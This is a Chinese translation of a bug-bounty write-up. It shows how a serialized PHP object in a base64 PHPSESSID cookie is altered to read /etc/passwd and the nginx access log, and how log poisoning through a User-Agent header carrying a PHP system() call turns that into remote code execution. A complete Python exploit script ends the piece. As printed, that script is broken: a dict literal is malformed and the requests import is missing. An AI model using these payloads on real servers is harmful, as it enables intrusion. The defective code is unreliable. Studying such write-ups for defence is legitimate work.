【翻译】本地文件包含到远程代码执行— 漏洞赏金(025)

admin 2023年11月15日12:35:55评论21 views字数 3059阅读10分11秒阅读模式

标题:LFI to RCE — Bug bounty

作者:Facundo Fernandez

原文地址:https://medium.com/@facu.tha/lfi-to-rce-bug-bounty-a16a89e20f8d

在对这个网站进行几个小时的信息收集和侦查后,我看到了一个

Cookie:PHPSESSID=

PHPSESSID — PHPSESSID Cookie是PHP原生的,它使网站能够存储序列化的状态数据。它用于建立用户会话并通过临时cookie传递状态数据,通常称为会话cookie(在关闭浏览器时过期)。通常以Base64编码。

【翻译】本地文件包含到远程代码执行— 漏洞赏金(025)


【翻译】本地文件包含到远程代码执行— 漏洞赏金(025)


⚠️专业提示:始终尝试解码这些信息!⚠️

主要的两种解码方式:

  1. 使用base64decode.org:

    【翻译】本地文件包含到远程代码执行— 漏洞赏金(025)

  2. 使用python:

    【翻译】本地文件包含到远程代码执行— 漏洞赏金(025)

    /www/index.html = 15个字符 — 这就是为什么是s:15。

    有了这个信息,让我们玩一下,看看我们是否能够利用这个漏洞!

LFI漏洞

什么是LFI?

本地文件包含是一种攻击技术,攻击者通过欺骗Web应用程序来运行或暴露Web服务器上的文件。LFI攻击可能会暴露敏感信息,在严重情况下,可能导致跨站脚本(XSS)和远程代码执行。

如果我用/etc/passwd替换/www/index.html会发生什么?

你们可以使用在线解码器或者按照我的步骤使用Python!

【翻译】本地文件包含到远程代码执行— 漏洞赏金(025)


现在我有了我的新恶意Cookie编码,我将以三种不同的方式进行操作,以演示不同的攻击路径。

更改网站上的Cookie并检索信息

【翻译】本地文件包含到远程代码执行— 漏洞赏金(025)


使用Python发送请求并打印结果

【翻译】本地文件包含到远程代码执行— 漏洞赏金(025)


使用Burpsuite修改Cookie

【翻译】本地文件包含到远程代码执行— 漏洞赏金(025)


LFI到RCE

什么是RCE?

远程代码执行(RCE)攻击允许攻击者在计算机上远程执行恶意代码。RCE漏洞的影响可以从恶意软件执行到攻击者完全控制被入侵的机器。

为了做到这一点,我将使用Python,为什么?因为Python很有趣。我将在一分钟内对我的脚本进行详细解释,所以请耐心等待。

从LFI漏洞中获得RCE的最简单方式是通过日志污染。

什么是日志污染?

日志污染或日志注入是一种技术,允许攻击者篡改日志文件内容,比如在服务器日志中插入恶意代码以远程执行命令或获取反向Shell。这只有在应用程序已经对LFI漏洞存在漏洞时才会生效。

在这种情况下,我不能尝试获取反向Shell,所以我只会尝试使用“ls -lsa”或“ls -l”列出一个目录。

请记住,LFI漏洞只允许我们读取/执行文件,而不允许写入或创建新文件。那么我们如何注入代码呢?嗯,我们可以向服务器文件添加日志,不是吗?

首先,我们需要知道正在运行什么服务器:

【翻译】本地文件包含到远程代码执行— 漏洞赏金(025)


NGINX!!这些文件存储在:/var/log/nginx/access.log

首先,让我们使用我们的Python脚本查看是否可以访问日志文件:

【翻译】本地文件包含到远程代码执行— 漏洞赏金(025)


不错,我们已经有了!!现在,让我们看看是否可以通过使用“User-Agent”头部来添加日志。

在我的Python脚本中,我将添加以下内容:

headers = {'User-Agent''Facundo Fernandez'}

如下:

【翻译】本地文件包含到远程代码执行— 漏洞赏金(025)


把我的名字替换为其它:

headers = {'User-Agent'"<?php system('ls -lsa');?>"

远程代码执行成功

【翻译】本地文件包含到远程代码执行— 漏洞赏金(025)


代码展示:

import base64
# Importing the base64 module, which is used for encoding and decoding base64 data.

# Creating a byte string that mimics a serialized PHP object.
# This could be used to exploit object injection vulnerabilities in PHP applications.
malicious_cookie = b'O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}'
print('Malicious Cookie:', malicious_cookie)
# Printing the created malicious byte string (cookie) for demonstration.

# Encoding the malicious cookie using base64.
# This is necessary because cookies are usually base64-encoded during HTTP communication.
malicious_cookie_encoded = base64.b64encode(malicious_cookie)
print('Malicious cookie encoded:', malicious_cookie_encoded)
# Printing the base64-encoded version of the malicious cookie.

# Our Target
# This should be a URL under your control or where you have permission to test.
url = 'http://target.com'

# Creating a cookies dictionary with the 'PHPSESSID' as the key and the encoded malicious cookie as the value.
cookies = {'PHPSESSID': malicious_cookie_encoded.decode()}

# Creating a headers dictionary, attempting to pass PHP code in the User-Agent header.
# The intention here is to test for Remote Code Execution (RCE) by trying to get the server to execute the 'ls' command.
headers = {'User-Agent'"<?php system('ls -lsa');?>"

# Sending a GET request to the specified URL with the malicious cookies and headers.
r = requests.get(url, cookies=cookies, headers=headers)
print(r.text)
# Printing the response text from the server.
# If the server is vulnerable and executes the code, you might see the result of the 'ls -lsa' command in the response.

每周一9点发布精选内容。

每周三9点发布翻译内容。

更多安全资讯,请关注微信公众号:安全虫。


每周坚持学习与分享,觉得文章对你有帮助可在底部给点个“在看”。



原文始发于微信公众号(安全虫):【翻译】本地文件包含到远程代码执行— 漏洞赏金(025)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月15日12:35:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【翻译】本地文件包含到远程代码执行— 漏洞赏金(025)https://cn-sec.com/archives/2207547.html

发表评论

匿名网友 填写信息